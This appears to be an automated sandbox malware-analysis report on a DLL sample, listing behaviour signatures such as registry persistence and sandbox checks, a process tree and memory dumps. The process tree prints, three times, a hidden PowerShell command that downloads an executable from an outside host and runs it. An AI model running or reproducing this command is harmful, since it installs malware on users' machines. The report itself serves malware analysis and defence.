Overview

overview

8

Static

static

3

ily.dll

windows10-2004-x64

8

ily.dll

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/07/2026, 23:11

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General

  • Target
    ily.dll
  • Size 1.6MB
  • Sample260706-26n7vsav2j
  • SHA256 5424bb195e8424469bbb4bfa871269b06d92e9c8d43b815a872bebe3476b06f7
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwareexecutionpersistencespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 41 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\ily.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1308
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK377827.exe; Start-Process -FilePath $env:TEMP\BK377827.exe -WindowStyle Hidden }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5684
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK377827.exe; Start-Process -FilePath $env:TEMP\BK377827.exe -WindowStyle Hidden }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK377827.exe; Start-Process -FilePath $env:TEMP\BK377827.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3444
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2624
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:3364
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4720
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:6092

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        prep_Activatable Class_Hermes_perf.cache
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/3444-14-0x00007FF810860000-0x00007FF811204000-memory.dmp
        Download

        memory/3444-11-0x00007FF810860000-0x00007FF811204000-memory.dmp
        Download

        memory/3444-5-0x00007FF810860000-0x00007FF811204000-memory.dmp
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        memory/3444-6-0x00007FF810860000-0x00007FF811204000-memory.dmp
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        memory/3444-7-0x00007FF810860000-0x00007FF811204000-memory.dmp
        Download

        memory/3444-8-0x00007FF810860000-0x00007FF811204000-memory.dmp
        Download

        memory/3444-9-0x00007FF810860000-0x00007FF811204000-memory.dmp
        Download

        memory/3444-10-0x00007FF810860000-0x00007FF811204000-memory.dmp
        Download

        memory/3444-12-0x00007FF810860000-0x00007FF811204000-memory.dmp
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        memory/3444-17-0x00007FF810860000-0x00007FF811204000-memory.dmp
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        memory/3444-13-0x00007FF810860000-0x00007FF811204000-memory.dmp
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        memory/3444-0-0x00007FF8109EF000-0x00007FF8109F0000-memory.dmp
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        memory/3444-4-0x00007FF810860000-0x00007FF811204000-memory.dmp
        Download

        memory/3444-15-0x00007FF810860000-0x00007FF811204000-memory.dmp
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        memory/3444-3-0x000001B871DD0000-0x000001B871DF2000-memory.dmp
        Download

        memory/3444-18-0x00007FF810860000-0x00007FF811204000-memory.dmp
        Download

        memory/3444-20-0x00007FF810860000-0x00007FF811204000-memory.dmp
        Download

        memory/3444-16-0x00007FF810860000-0x00007FF811204000-memory.dmp
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        memory/4720-38-0x0000023882CB0000-0x0000023882CD0000-memory.dmp
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        memory/4720-24-0x00000238801E0000-0x00000238802E0000-memory.dmp
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        memory/4720-53-0x0000023882DF0000-0x0000023882E10000-memory.dmp
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        memory/4720-39-0x0000023894000000-0x0000023894100000-memory.dmp
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        memory/4720-68-0x0000023894710000-0x0000023894730000-memory.dmp
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        memory/4720-23-0x00000238801E0000-0x00000238802E0000-memory.dmp
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        memory/4720-22-0x00000238801E0000-0x00000238802E0000-memory.dmp
        Download

        memory/6092-209-0x000001ACDA000000-0x000001ACDA434000-memory.dmp
        Download